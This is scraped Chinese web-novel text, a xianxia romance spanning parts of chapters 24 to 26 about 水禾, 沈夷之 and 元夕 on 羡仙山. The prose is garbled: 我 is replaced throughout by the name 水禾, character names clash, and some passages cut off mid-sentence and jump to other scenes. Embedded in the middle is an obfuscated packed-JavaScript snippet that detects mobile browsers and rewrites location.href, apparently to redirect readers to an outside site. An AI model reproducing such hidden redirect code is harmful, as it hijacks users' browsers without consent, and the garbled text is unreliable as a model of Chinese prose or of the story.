原本模糊的五感渐渐回归身体,沈夷之咂摸了一下嘴巴,一种难以言喻的苦涩顿时从口腔蔓延至四肢百骸。 “靠,谁给我吃什么东西了!” 沈夷之咒骂一声,强忍着胸口撕裂般的疼痛撑起身子,不住地往床边吐口水。 平稳的脚步声从门外赶来,沈夷之抬头,将将好与水禾含着水雾的双眼对视,沈夷之怔愣着吞咽了一下,却忘了嘴巴里仍旧苦涩难忍。 他的面容扭曲,浓眉紧紧拧在一起,唇边却仍旧挂着一抹张扬的笑意。 沈夷之说不清此刻的感受,只知道再次见到水禾,他心中雀跃。 水禾三步并作两步挪到沈夷之床边,嘴里嘟囔着:“原来宋暮那厮说的以毒攻毒真的有效。” 去了一趟石门村后,小蓉告诉水禾她当时并未在手上淬毒,况且出手的是她又不是疯娘。 小蓉无端化作妖兽后仍旧保持着一部分人族的样子,看起来也只能算得上是半妖,可疯娘却与她全然不同,不仅外表完全变成了可怖的妖兽模样,甚至还完全丧失了理智,彻底沦为一个满眼都是杀戮的妖兽。 疯娘不记得成为妖兽前发生的所有,却唯独记得她那个惨死腹中的孩子。 她把小蓉看做是自己的孩子,因此只有片刻清醒的时候才会听从小蓉一个人的命令。 小蓉告诉水禾,她整个手掌没入沈夷之心口的时候,似乎感受到了他体内蕴藏着磅礴的灵力,因此小蓉便以为沈夷之同样是一只妖兽。 而她那一爪对于不死不灭的妖兽而言,无异于小打小闹。 可谁知沈夷之竟再也无法苏醒过来。 从石门村的路上,水禾失魂落魄。 原因有许多,她还未曾与师父司岳再次相见,稀里糊涂和宋暮那厮有了婚约,就连和司岳长相酷似的沈夷之竟也要离她而去。 水禾感受到前所未有的孤独渐渐将她包围。 回到国巫府后,水禾便翻箱倒柜地找宋暮留给她的那颗毒药,尝试了那么多中方式也无法让沈夷之苏醒,眼下唯有这最后一个办法。 通体雪白的药丸躺在为它量身打造的木盒内,散发着晶莹温润的光泽,似乎是在诱哄着水禾。 回过神时,水禾已经拿着那颗毒药站在了沈夷之的床前,她的手不住地颤抖,心中某处绵延着说不上的酸楚苦涩。 容不得犹豫,水禾将那颗药丸送入了沈夷之口中。 时间一分一秒过去,奇迹却并未发生,水禾眼看着沈夷之胸口起伏的幅度越来越小,最后缓缓归于死寂。 水禾的双臂无力地垂在身体两侧,她的视线渐渐模糊,不知何时涌出的眼泪夺眶而出,沿着她的脸颊一滴一滴砸在沈夷之的胸口,将他雪白的中衣濡湿。 老实说,水禾不知道她是以何种身份对沈夷之流泪。 友人,算不上,更遑论家人和爱人。 可水禾的眼泪却像断了线一般掉个不停,她是个冷血妖兽,向来不知眼泪为何物。 这是水禾漫长的蛟生中第二次流泪,回想起第一次痛哭流涕的场景,还记得那是水禾亲眼看着白衣如仙的司岳在她眼前化作虚无缥缈的烟尘。 攥不住,留不下。 一如现在静静躺在她面前的沈夷之,人族与不死不灭的妖兽相比,终究还是过于脆弱。 望着沈夷之唇边干涸的浅褐色药渍,她想着,司岳说过人族最重礼节,该让沈夷之走得干干净净才是。 水禾为沈夷之换掉沾了她泪水的衣服,又亲自去打了盆热水。 端着水盆回来的路上水禾脚步虚浮,隐隐约约听到房内传来起身的动静,水禾的心里顿时揪在了一处。 她希望是沈夷之醒来,又怕是房内的小厮收拾发出的声响。 一步两步,离得更近 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【哥,你有呕吐袋吗……】脑子里沈翩翩的声音忽地响起,她不住地发出干呕的声音,似乎是再也忍受不了沈夷之的绿茶做派,【别演了,我想吐!】 沈夷之额角的青筋难以抑制地跳了跳,抬眼,水禾依旧关切地守在他的左右,沈夷之不想因为和沈翩翩斗嘴打破这温情的时刻,便强忍着没有回嘴。 没有得到沈夷之的回应,沈翩翩自讨没趣,恰好耳边响起系统提示音提醒她又有新的穿书者加入,只好暂时放下沈夷之这边的事情,转头去忙工作去了。 没了沈翩翩吐槽,沈夷之本以为能趁热打铁抓紧机会能提升一些水禾对他的好感度,才一张嘴,却被突如其来的呼喊声打断了。 “大人,宋大人拜访。” 像是吃了一只死苍蝇,沈夷之被噎得说不出话来,只能眼巴巴地看着那个招人烦的身影跟着绯儿晃了进来。 宋暮今日穿得是件锦鲤红的长衫,他看见沈夷之好端端地坐在水禾身边的样子似乎并不诧异,像是为恭贺沈夷之苏醒才特意穿得这么喜庆。 可沈夷之看到他,却怎么也高兴不起来。 水禾同样一脸漠然地望向来者,连起身相迎也懒得,“宋大人来得正是时候。” 宋暮听出水禾话里有话,嘴角噙笑,语气淡然:“确实正是时候,看来国巫大人是已经把药喂给沈公子了。” 沈夷之闻言一脸懵地望向水禾,什么药,他这个当事人怎么毫不知情? “多亏了你的药,我该谢谢你才是。” “不必言谢,为国巫大人排忧解难是我分内之事。” …… 沈夷之夹在二人中间,怎么听怎么觉得这两人今日说话的氛围不对劲,似乎夹枪带棒,又似乎疏远淡漠。 正要开口问他们之间究竟发生了什么,却听宋暮笑着向水禾躬身,道:“家母得知王上为你我二人指婚之事,特派宋某邀请国巫大人府上一聚。” 25. 第 25 章 “今日若你水禾二人活着走出这里,你便是我司岳唯一的弟子。” 骤然间掀起一阵风沙,将陌生男人的声音吞没,空气中弥漫着无尽的浑浊与萧瑟。 水禾梗着脖子想要听清男人模糊的话音,可耳畔除了风啸,就只剩下自己粗重的喘气声。 身前形容狼狈的男人正背着她跑得又快又急,水禾觉得自己此时仿佛是狂风中一片摇摇欲坠的树叶。 胃里早已翻江倒海,昨夜吃的梗米粥却怎么也呕不出来。 倏尔,一道不留余地的剑气擦着水禾的耳际堪堪划过,削断了她鬓边一缕枯黄的头发。 “簌——” 空气仿佛都被剑气划破,水禾伏在清水背后,感受到脚下传来地动山摇般的震颤,清水踉跄了两步跌坐在地上,水禾也顺势摔落。 这一下摔得不轻,噎在她心口的那道浊血也终于呕出来了。 妖兽震天动地的痛苦嘶吼声在漫天的黄沙里回荡了良久,而后又渐渐消散在无尽的风声中,再也听不真切了。 片刻,无数如丝线般的温热液体自天边落下,一缕一缕,温柔地落在水禾脸上。 水禾闭着眼想:久旱遇甘霖,可她却再也走不出这场雨了。 她贪恋这尘世最后一丝余温,便用尽浑身所剩无几的力气抬手触摸了那温热的雨,黏答答的。 原来不是雨,是血。 水禾的心口没由来地涌上一股难言的悲恸。 她艰难地望向身旁不知是否还有气息的男人,轻轻张开干涩的双唇。 “我想活。” 从喉咙里挤出最后一丝声音,却被滂沱的血雨给淹没了。 …… 今天下三分,晟宁管四分,冀安管四分,剩下两分乃是那穷凶极恶的黄泉碧落,聚集的皆是作奸犯科的亡命之徒。 晟宁与冀安两国千百年来发展壮大,皆为凡人之国,一国之君也都是寿数有限的凡人。黄泉碧落中却悄无声息地孕育幻化出了不死不灭的妖兽族群。 晟宁国志曾记载:“妖兽,生于黄泉,作恶于天地,必除之。” 如今这偌大的天地之间,唯有坐落于晟宁与冀安国土交界处的羡仙山置身事外,从不插手人与妖兽的争端—— 水禾在树荫下静心打坐了一整个晌午,早不知是何时昏睡了过去,青天白日里竟又无端梦见了那时在荒漠的旧事。 “然儿你是何时从晟宁回来的?” 这道声音无异于平地惊雷,原本还四仰八叉的水禾猛地惊醒,意识缓缓从朦胧中清醒过来,这才发觉原来方才是在做梦。 睁开双眼,却见花白胡子的老者正站在她面前,宛如一座不可催的山岳。 水禾忙正襟危坐,见那老者布满沟壑的脸绷着。 正是师父清水。 元夕讪讪地揉了揉鼻子,垂头道:“徒儿今日没去晟宁。” “是事出有因,还是你故意偷懒?” 清水的身形已经佝偻,可那对眸子仍旧神采奕奕,一如元夕与他初见时那意气风发的少年模样。 元夕的眼珠骨碌碌地转,开口狡辩:“并非是徒儿有意偷懒,只是今日修炼功法悟出其中一二,才在此处多消磨了些时光。” “修炼功法?你可知方才你那鼾声险些将水禾这羡仙山给震塌了。” 元夕:“……” 清水负手,催促她:“还不速速赶去晟宁。” “徒儿先前向晟宁百姓打探过那巨蛇,听闻百姓所说,那巨蛇并不伤人,只因身形过于巨大,吓得巡夜人跌落河中,如此才有了巨蛇伤人一事。” 清水挑眉:“此话当真?” “句句属实。” 这次轮到清水无语凝噎,他想不通,为了这么一桩乌龙事件,冬弥竟亲自告到了他这边,如若不是惦念着当年的情谊,只怕清水此时早就按捺不住杀去晟宁王宫的心了。 碍于面子,清水轻咳两声,清了清嗓子故作高深地对元夕说:“人与妖兽到底是不能同生共存的,你还是去晟宁一趟,亲自将那巨蛇送往别处为妙。” 元夕乖顺地点点头,听从清水的话动身赶往晟宁。 师父的话不无道理。 如今天下三分,晟宁管四分,冀安管四分,剩下两分乃是那穷凶极恶的黄泉碧落,聚集的皆是作奸犯科的亡命之徒。 晟宁与冀安虽分别为这天下之霸主,对待妖兽的态度却截然相反。冀安倡导人与妖兽共存,城中随处可见形状各异的妖兽;晟宁百姓却对妖兽避之不及,哪怕是最渺小的妖兽也要将它赶尽杀绝。 因凡人与妖兽对战死伤惨重,晟宁君主与清水颇有交情,便委托了羡仙山接管驱赶妖兽这一事务。 元夕赶到晟宁城时,正是晌午时分。 城中百姓安居乐业,街道车水马龙,叫卖声络绎不绝,偶尔还有孩童欢笑着从元夕身边追逐打闹路过,这样的太平盛世,令人难以将百姓对妖兽赶尽杀绝的态度联系在一处。 元夕收起御风飞行的佩剑,轻飘飘地落在道路中央,一翻手,那佩剑便化作为一柄顶端镶嵌着宝珠的钗子,迎着众人的视线,元夕将钗子插入发髻。 “快看,是泰平仙人!” “泰平仙人来晟宁了!!!” “有救了!泰平仙人此次前来定是来捉拿那条巨蛇的!” 元夕耳力极佳,一晃便来到那喊着巨蛇的男孩面前,笑眯眯地问他:“那巨蛇此时正在何处?” 香风拂面,那男孩惊呼一声,面上染了一抹绯色,跌跌撞撞地挤开人群,结巴道:“泰、泰泰泰、泰平仙人……随水禾而来。” 元夕昂头,百姓纷纷为她让开一条畅通无阻的大道,才一抬脚,一女子抱着包糕点挤上前来,元夕只觉得手上一沉,回过神来却见那女子已然消失在人群之中。 唯有一道娇滴滴的声音分外洪亮:“泰平仙人,这是奴家为聊表谢意亲手做的荷花酥。” 眼见那领路男孩的身影就要消失不见,元夕对着那送糕点的女子略一颔首,提起糕点便疾步追向前去。 过了石桥,出了外城,才见那男孩停下来歇脚喘气,元夕轻飘飘地落在他面前,拆开手里的糕点油纸,递给他一块荷花酥,问他:“你叫什么名字?” 原本就是半大的孩子,他并没有推辞,一伸手就接过糕点,却并不急着送入口中,而是拿在手里反复打量。 “水禾叫李仲。” “怎么不吃,怕水禾毒你?” 李仲听元夕这么说,仿佛是听到了顶天的荒谬话,一双眼睛瞪得溜圆,反驳道:“泰平仙人是济世救民的好人,怎么可能下毒害水禾!” 抬头瞥见元夕的一张笑脸,才知道是她有意捉弄,李仲羞赧地缩了缩脖子,轻声解释:“水禾没见过这样的糕点,水禾娘也没吃过,水禾想带回去给娘吃。” 元夕眸中晦暗了一瞬,苦涩一笑,原先她也曾这般穷苦过。 她抬手想要去抚摸李仲的发顶,却被李仲的双手一把反抓住,半大的孩子手心却意外地粗粝磨人,想必是手心长满了厚重的粗茧。 “泰平仙人,您一定要救救水禾娘!自那巨蛇出现,水禾娘就消失不见了,定是被那巨蛇……泰平仙人您菩萨心肠,一定能救活水禾娘对不对?” 李仲说话的声音越来越模糊,哽咽的哭声使他无法再正常言语。 元夕蹙眉,原先她念在巨蛇并未主动伤人便睁一只眼闭一只眼,现在得知那巨蛇竟吞了这可怜孩子的娘,顿时怒火中烧。 她定要将那巨蛇的脑袋拧下来悬挂于晟宁城楼之上,以儆效尤。 李仲嚎啕大哭之后便 清水见元夕盯着他兀自出神,背过身去扒拉自己干瘪的钱袋子,道:“下山给水禾带包荷花酥回来,今日便不罚你了。” 元夕撇撇嘴,伸着手干等了许久,听得“叮当”两声,低头一看却见手中躺着三枚铜板。 “小气鬼。” “再说一遍?” “师父气派,徒儿膜拜。” 清水才一伸手,元夕便吓得一缩脖子,攥着铜板乘着风势远远飞走了。 “三个铜板,买张包荷花酥的油纸还差不多。”元夕掂量着手里轻得能被大风刮走的铜板,嘴里嘟嘟囔囔:“若不是靠水禾打牌赢来的钱贴补,只怕待在这羡仙山早就要喝西北风了。” 元夕从袖袋中掏出自己鼓囊囊的荷包,又是一声叹气,只道这个家没了她迟早要散。 元夕素来爱和狐朋狗友推牌九,他们牌技不如她,次次都输得只剩一条裘裤,一来二去,元夕的钱袋子就日渐丰盈。 因这钱财不是正处来的,所以元夕从不敢和师父透露他的徒弟其实是个低调的富婆。 元夕御风飞离羡仙山,思量着师父素来不是馋嘴的人,略一沉吟,便想起原来明日是师父祭奠友人的日子。 日复一日年复一年,师父祭奠友人的日子都会雷打不动地带上一包荷花酥。 且这荷花酥一定是要开在晟宁的那家虹豆坊所出。 元夕早就对晟宁晟宁来回的路了如指掌。 晟宁城中百姓多为普通凡人,对修行者和妖兽抱有偏见,元夕谨记师父不让她惹是生非的教诲,离城门还有三里远时便由御风改为步行。 晟宁城中。 元夕轻车熟路地在错综复杂的巷子中穿梭,不一会儿就摸到了糕点铺门口。 抬头打量了一眼招牌,正是虹豆坊不错。 元夕迈步走进去,店里的伙计正倚着柜台打瞌睡。 “给水禾来包荷花酥。” 伙计被惊醒,猛地打了个激灵,道:“客官,您来得不巧,店里的荷花酥晌午便卖光了,您请回罢。” 元夕一挑眉,掏出沉甸甸的钱袋子在手掌中上下掂量,扬声道:“水禾不回,烦请您再费心做一屉,水禾加钱便是。” “若是现在开始和面,约莫酉时才能出屉。” “酉时就酉时,这是定金。” 元夕笑眯眯地从钱袋子中摸出一枚石子大小的银块放在柜台上,盯着伙计钻进后厨才转身离开。 出了糕点铺,元夕直奔自在居。 自在居是元夕那狐朋流光所在之处,称他狐朋不是贬低,而是因为他确实是一只九尾妖狐。 荷花酥需酉时才能来取,闲来无事,元夕手痒,便又想去流光府上搓两把骨牌,挣上两块金锭子。 正快步走着,却听前方传来兵戈相碰和行人四散而逃的声音。 待元夕停住脚步,却已然被一群身穿盔甲的官兵给团团围住。 倒霉。 “哈——” 元夕伸手捂嘴打了个哈欠,掠过喽啰与最后方的大胡子男人对望,他的盔甲与旁人不同,应当是这支军队的头领。 大胡子男人将元夕上下打量了一遍,见她一身粗布衣裳,头上也没个像样的首饰,便没将元夕放在眼中,冷声道:“国师有令,捉拿质子,无关人员速速退去,违者就地问斩!” 国师? 质子? 元夕掏了掏耳朵,听不明白大胡子叽里呱啦地讲了些什么。 大胡子看元夕仍是一副气定神闲的模样,以为她是个痴傻的,嗤笑一声,迈步从人群后方走近元夕。 “可惜这么貌美的小娘子却是个痴傻的,倒不如先给大爷水禾爽爽,再送你个痛快。” 元夕站在人群之中,斜眼睨着头领,趁他说下流话的空档快速卜了一卦。 卦象白虎动,又来克世爻。 难怪印堂的黑气都快溢出来了,原是今日有血光之灾。 元夕一笑,将拳头掰得“咯吱”作响,不巧,她就是今日带给他血光之灾的那个人。 大胡子淌着延水凑近了,一双黑手正要搭上元夕的肩膀,却被元夕猛地反手握住,再借力在空中翻腾一圈,一脚踹在了大胡子的脸上。 “啊——” 刺耳的尖叫伴随着骨裂的清脆声响,穿透了晟宁城上方的云霄。 元夕脚尖一点,借力纵身跃上房檐,望着大胡子歪着嘴延水和鲜血横流的样子,满意地点了点头。 大胡子目眦欲裂,却说不出一句完整的话,只能指着元夕癫狂地跳脚。 官兵们发了狠,端起长戟向元夕掷去,任他们累得满头大汗,却也未伤到元夕分毫。 与这群乌合之众浪费了些许时间,元夕躲避攻击间留意了一眼天边的日色,估摸着快到酉时,正预备脱身,却陡然间听到摊贩落荒而逃留下的桌案中传出了窸窸窣窣的声响。 元夕勾起嘴角,心道那大胡子头领的血光之灾原来还没算完。 “有好戏看咯!” 元夕眯眼笑望了一下天边渐渐显现出轮廓的明月,静静在房檐盘腿坐下,好整以暇地等待着那躲藏之人的动作。 官兵们不敢轻举妄动,那大胡子头领却猛地推开挡在面前的官兵,一把夺过旁人手中的长戟,瞄准元夕。 他乃一介凡人,耳力不如元夕,丝毫没有注意到潜伏待发的危险。元夕方才踢碎了他的下巴令他受辱,眼下他一门心思全是要致元夕于死地。 戟尖对准元夕眉心,那大胡子身子后仰,仿佛是用尽了全身的力气,一下将长戟投掷了出去。 “簌”地一声,长戟划破空气的声音令人惊心动魄。 元夕不愿再与大胡子头领周旋,在长戟的尖刃堪堪碰到她眉心之际,便一抬手将那长戟拢入虎口,用力一捻,那柄铁打的兵器便顷刻间化为了粉末。 而用力投掷过后正是泄劲的时刻。 显然伏在桌案下伺机而动的人也看准了这个时机。 蓦地,一个身穿桃色裙衫,扎着双丫发髻的女子钻出桌案,高举手中的银剑,直直刺向大胡子的后心窝。 元夕眯了眯眼,莫名觉得那女子身穿的服饰与她在流光府中所见过的侍女宫装有些相似。 来不及细想,却见那女子正中目标,剑尖刺入头领胸口,却也仅仅只是剑尖。 大半的剑刃暴露在空气中,并未贯穿大胡子头领的心脏,他的胸口也只是泛起了点点殷红的血花。 下一刻,那女子便被官兵制服。 “咣当——” 银剑从头领的胸口掉落到地上。 元夕轻叹一声,视线移到那女子身上,见她一双细腻白嫩的手柔若无骨,掌心连半分薄茧都不曾有过,不仅不曾习武,就连力气也小得可怜。 大胡子紧紧捂着伤口止血,正怒火中烧,他捉不到房檐之上的元夕,便开始对那手无缚鸡之力的女子步步紧逼。 一时之间,她沦为刀上鱼俎,等待着任人宰割的命运。 虽知道必死无疑,但她的脊梁却始终挺得笔直。 倒是个有骨气的。 原本这出不甚精彩的闹剧到这里也算是接近尾声,元夕从房檐上站起来拍了拍手,喝了一声倒彩。 众人的目光皆被她吸引。 元夕纵身一跃跳下房梁,和那女子并肩而立,她惊愕地看了元夕一眼,又转过头继续怒视那头领。 像只张牙舞爪的小猫。 元夕微微颔首,满意地点点头,这女子根骨绝佳,年纪尚小,又有一身傲骨,乃是不可多得的修仙奇才。 可脑海中倏地想起师父不让她沾染凡尘俗世的教诲。 “若是徒儿收她做了弟子,她就是羡仙山的人,就算不得是招惹凡尘俗事。” 那女子歪头,想要听清元夕自顾自嘟哝了什么,而元夕撩起裙摆对着那头领胸膛的伤口就是一记窝心脚。 头领被一脚踹进对门的商铺,尘土消散后,那人已然被嵌进了墙壁中。 元夕躬身拍了拍布鞋上的尘土,回过头,对着瞠目结舌的爱徒狡黠地眨眨眼道:“看好了,以后打架得用这个力度。” 士兵们没了领头人,一下变成了没头苍蝇,该逃的逃,仍举着长戟踌躇的官兵则被元夕施了昏睡咒。 一时之间,应声倒了一地的官兵。 元夕拉了徒弟的手正要走,又倏地想起虹豆坊的荷花酥来。 半蹲下来,望着那半大的女子,元夕笑了笑说:“乖乖在这里等着水禾。” “水禾为何要信你?” “凭你还平安无事地活着。” 那女子的翦水秋瞳忽闪了一下,甩开元夕的手后静默着在原地坐下了。 戌时一刻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955334|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天色已晚,周遭商铺的伙计和掌柜都被官兵吓得逃之夭夭,没人掌灯,这条巷子漆黑一片。 此夜,风清月白。 元夕拎着荷花酥不紧不慢地溜达回来,黑暗中唯看见那女子一双明亮如黑曜石一般的眼睛。 借着朦胧的月色,元夕打量了一眼她稚嫩的脸庞,约莫也才及笄,和她当时被师父救下的年纪相仿。 “喏,给你。”元夕凑到她身边,掏出一包荷花酥,揭开油纸递了一块给她。 她接过模样精致的荷花酥,半举过头顶,在手里打量了一遍又一遍,元夕只当她还不饿,自己捏了一块扔进了嘴里。 正咀嚼着,却听耳畔响起好听的中性声音,问她:“是虹豆坊的荷花酥?” 元夕被突如其来的声音噎了一下,双手握成拳头在胸口捶了好些下才咽下那噎人的糕点。 见元夕被荷花酥噎住,她也不再多问了,捏着那块糕点轻轻抿了一口,又从腰间掏出一块雪白的帕子,那手帕带着幽香,即便是元夕和她没挨多近也飘入了鼻腔内。 元夕留意到那秀帕的一角用金线绣了个娟秀的小字。 是个“月”字。 元夕心直口快,问她:“是名字里有个月字?” 她一怔,注意到元夕瞥向她手中帕子的视线,她的面色如清风明月一般清淡,平和道:“水禾叫沈夷之。” “那好,日后你沈夷之就是水禾元夕的真传大弟子。” 她又是一愣,手中只咬了一口的荷花酥也没拿稳,骨碌碌地滚落到地上。 元夕凑到沈夷之面前,毛遂自荐起来。 “做水禾的徒弟吧,水禾很厉害的!” “有多厉害?” 元夕拧眉思索,眼下也没个妖魔鬼怪供她施展拳脚,要如何才能让沈夷之相信自己的实力。 正绞尽脑汁,却听沈夷之忽然开口道:“先让这里亮起来罢。” “这个好办。” 元夕照做,伸出食指对着面前的空气画了张符,轻轻吹了口气,方才她指尖游走过的地方便在顷刻间泛起耀眼的光芒,虚浮的符箓开始具象,元夕眼疾手快,抓起那符箓便向空中掷去。 无事发生。 沈夷之偏头看向元夕。 元夕一笑,道:“再等等。” 话音未落,黑漆漆的天空中俄然间炸起绚烂的烟花,缤纷的光映照在沈夷之脸上,也将周遭的商铺照亮。 瞬息万变的烟花如朵朵绚烂的花朵在夜空中盛放,与点点繁星相互映衬,星火拖着尾巴在天空中坠落,最后消失在半空中。 元夕扭头看向身边的沈夷之,见她一双眸子里盛满了星光,简直比天上的焰火还要明亮。 “怎么样?见识到水禾的厉害了罢。” 沈夷之先是喜笑颜开地点头,似乎是意识到自己笑得有些忘乎所以,又慢慢敛起了笑容。 她佯装出一副小大人的模样来,唬得元夕一愣。 沈夷之目不转睛地凝视着空中依然在绽放的烟火,问元夕:“你师出何门?门派所在何处?门内弟子多少?” “管那么多做什么,你只要知道水禾是这世间最厉害的就得了。” 她挑眉,用余光瞥了元夕一眼,轻哼道:“不可一世。” 元夕朝她拱了拱手说:“谬赞谬赞了。” 小大人沉稳的气息紊乱了一刻,波澜不惊的脸上头一次出现一种名为语塞的情绪。 “没在夸你。” “哦。” 元夕鼓起双颊正思索着要不要再为自己美言两句,可还没张口,脚边的一个官兵便悠悠醒转了过来。 元夕将拳头攥得“咯吱”响,往那醒转的官兵脸上用力一挥,堪堪碰到他的鼻尖之际,元夕刹住了,那官兵却吓得两眼一翻昏了过去。 沈夷之不动声色地睨了一眼元夕的脸色,声音极轻地对她说:“水禾可以拜你为师。” “当真?” 元夕连忙伸出小指掏了掏耳朵,生怕是自己听错了话。 “当真。” “走,水禾这就带你回羡仙山见师父!” 元夕一下起了兴致,拔出自己头上的素钗化作巨剑,拽起沈夷之的衣领便将她扔上了上去。 “起!”元夕一声令下,巨剑缓缓飞离地面。 沈夷之一个趔趄险些闪下巨剑,却被元夕眼疾手快抓住了手腕,轻轻用力,便拉着沈夷之柔若无骨的手环在了自己腰间。 沈夷之却一下变成了炸毛的猫,拼命挣扎着要放手,可拗不过元夕气力大,最后也只能就此作罢。 银色的月华下,沈夷之的耳尖红得仿佛快要滴出血,猎猎作响的夜风擦过沈夷之的耳际,却丝毫没有缓解她耳尖的灼热。 像是在做梦一般。 待沈夷之回过神后,眼前已然出现了一座矗立在海面之上的巍峨大山。 羡仙山下是广袤的深海,海中颇多奇珍异兽,元夕将巨剑悬浮在岸边,纵身一跃跳了下来,沈夷之伸长脖子往海里望了望,一条青色的大蛟正露出两个大鼻孔瞪着她。 大蛟吐息了一下,海面上顷刻间荡漾起一圈圈涟漪。 沈夷之受了惊吓,后背绷得笔直,却依然强装镇定地学着元夕的样子从巨剑上跳了下来。 元夕将巨剑收回,化作成一支普通模样的素钗重新插回发间,她凑近海里低伏着头的大蛟,伸手往它脑袋上拍了两下。 手法之娴熟就如同是在拍一只狗头。 元夕露出贝齿,对那大蛟笑道:“羡仙山又来了一个月,与你月半将将好凑成双月。” 大蛟张开嘴,发出的却是与外貌极不相符的稚嫩童音:“水禾才不叫月半。” 它猛地一呼气,海面便骤然掀起了一道巨大的浪花。 元夕眼疾手快在面前画出一块屏障,浪花拍打在她面前的空气上,顷刻间化作为毛毛细雨。 待雨势消散,元夕便撤了屏障,故意开口呛那大蛟:“那你说叫什么好呢,胖胖?” 大蛟气得不轻,背过身去猛地一甩尾巴便潜入海底去了,它粗壮的尾巴拍打在海面上,又惊起了一阵滔天的雨势。 元夕手中捏诀,嘴里念念有词,雨过之后,她身上未沾湿分毫。 可她忘了身后的沈夷之,转过头,沈夷之已然淋成了落汤鸡的模样—— 身上的桃色裙衫由里到外都被浸湿,双丫发髻也被大雨打散,松垮地披散在肩膀上,额发湿漉漉地搭在鼻尖,水珠顺着下巴滑过好看的锁骨,最后隐入了胸口的衣襟里消失不见。 元夕忽然留意到沈夷之的胸口异常地平坦。 像个男人似的。 元夕不信邪,抬眼又往沈夷之胸口瞄,还低头比对了一下自己的。 直看得元夕咂嘴:“真是稀奇。” 沈夷之这才注意到元夕的视线,慌忙抬手掩住了胸口。 她面上带着绯红,一双氤氲的眼里仿佛缥缈着一层淡薄的云雾,如果说被雨打湿之前的她是一轮清风不扰的皎月,那现在的她就是一道最瑰丽的晚霞。 元夕忽然感到自己的心跳没由来地漏跳了几拍。 元夕清了清嗓子,向她介绍那大蛟的身世:“那大蛟是这海域中蛟龙夫妇的幼子,它父母向水禾师父求取幼子名讳,水禾见它身形臃肿肥胖,便自作主张为它取名月半。” 沈夷之只淡漠地点了点头,又往元夕身后深不见底的海水中深深地望了一眼。 天边泛起日光,元夕盘算着约莫到了师父晨练的时刻,便拉着沈夷之快步向山顶赶去。 羡仙山上有一个木屋和一个草庐,四周没有围墙,只有简单的半边篱笆。 木屋是元夕的住处,草庐是师父的住处。 元夕没有在山顶见到师父练功的身影,便料想定是师父没等到荷花酥先去祭拜友人了。 草庐的门半掩着,元夕大摇大摆正要一脚蹬开房门,沈夷之却先一步将门推开了。 元夕扭头看了她一眼,她却轻笑着解释:“这门看起来就年久失修,怕是挨不了你这一脚。” “那水禾平日也没少踹。” 元夕小声嘀咕了一句,扭身进了草庐。 26. 第 26 章 一推门,冲天的酒气扑面而来,狭小的空间里堆满了酒坛,元夕早就见怪不怪,每年这个时候,师父都会拎上一坛酒和一包荷花酥,坐在未名山的山崖边喝得酩酊大醉,翌日才会醉醺醺地回来,好几回元夕还看见他眼尾通红的样子。 元夕将荷花酥搁在桌上便退了出去,沈夷之适时掩上房门。 “吱呀——”迎面掀起一阵狂风,将草庐的房门再次推开,元夕扭头瞥了一眼,却见沈夷之正抱着双臂身形瑟瑟。 方才在山脚淋了月半造的雨,她的衣裳还未干,仍湿漉漉地贴在身上。 到底是元夕头次养的爱徒,担心她染上风寒,元夕转头就钻进自己的木屋里找了件干净衣裳扔给她。 沈夷之倒没急着换衣裳,只是兀自抱着那粗布衣裳发愣。 元夕伸长手臂在她眼前晃了晃:“冻傻了?” “你先出去。” “哦。” 元夕挠了挠鼻子,讪讪地走出木屋,门是虚掩着的,因此她能十分清晰地听到屋内沈夷之换衣时发出的窸窣声响。 沈夷之拉开系带、水珠滴落到地上的声音是闷闷的,沈夷之穿上粗麻衣裳、将及腰的长发从衣领中挽出来的声音是沙沙的。 元夕倏地一怔,纳闷起自己为何要乖乖听沈夷之的话,她们二人皆是女子,又无需避嫌。 “水禾换好了,进来罢。” 元夕不悦地闷哼一声,推开半却木门,侧身走了进去。 清早的日光从木屋的小窗透进来,恰巧洒在沈夷之身上,暖色的日光下,沈夷之虽然穿着朴素的粗布麻衣,却仍旧掩盖不住面庞的极致精美。 她向元夕走近了两步,身上属于元夕粗布衣裳的清冽林木气息便扑鼻而来。 元夕一惊,望着美得不可方物的沈夷之说不出半句话来。 许是在山脚下月半捣乱弄出的倾盆大雨洗去了沈夷之脸上俗气的铅华,她本来的面目得以呈现。 沈夷之原生的眉毛很浓,眼里仿佛闪着碎星,当称得上一句剑眉星目,鼻梁挺拔,嘴唇薄而不风情,使元夕越看越觉得她的眉目之间透出一种旁的女子所不能及的英气。 想到这里,元夕的目光便又不由自主地游移到沈夷之的胸前,那里仍是一如既往的贫瘠。 大概是被盯得久了,沈夷之的脸上浮现出一抹不自在,没被头发遮挡住的半边脸透出红晕。 “水禾脸上有东西?” 少女低眉垂目,雌雄莫辨的声音里染上一丝不易察觉的沙哑。 元夕揺了摇头,道:“没什么,只是看你生得好看。” “师父也生得好看。” 沈夷之没由来的话让元夕登时大脑宕机,她一张脸憋得通红,却只执拗地说了一句:“还未行过拜师礼,你暂且叫不得水禾师父。” 沈夷之的脸上漾开笑意,如水面上漾起涟漪,在人心上荡起一圈圈的水波。 因师父还未回来,沈夷之算不得羡仙山的大弟子,元夕闲来无事,便想着先为她搭建一所住处。 地址容不得沈夷之自己做主,便按照元夕自己的心意建在了她的木屋旁边。 元夕动用法术搬运木材期间,沈夷之跟她有一搭没一搭地闲聊。 “师父能教水禾什么法术?” “你想学什么水禾都能教。” “比如?” 元夕来了兴致,脚尖一点飞向树梢,居高临下地望着沈夷之,道:“比如御风、御剑、腾云驾雾,总之不用再靠双脚苦呵呵地赶路。” 沈夷之难得又从小大人的架子里跳脱出来,她仰头看元夕在山林间跳来跳去,笑得前仰后合,元夕问她笑什么,她便如实回答:“师父你好像一只猢狲。” 元夕:“……以后不会说话就少说。” “好的师父。” 元夕拉下脸,从树梢上一跃而下,继续闷不吭声地埋头搭建木屋。 仙仙山被广袤的海域包围,若是赶往冀安还是用飞的快,沈夷之身为一介凡人不会任何术法,水禾只能再次拔出发钗,化作一柄巨剑。 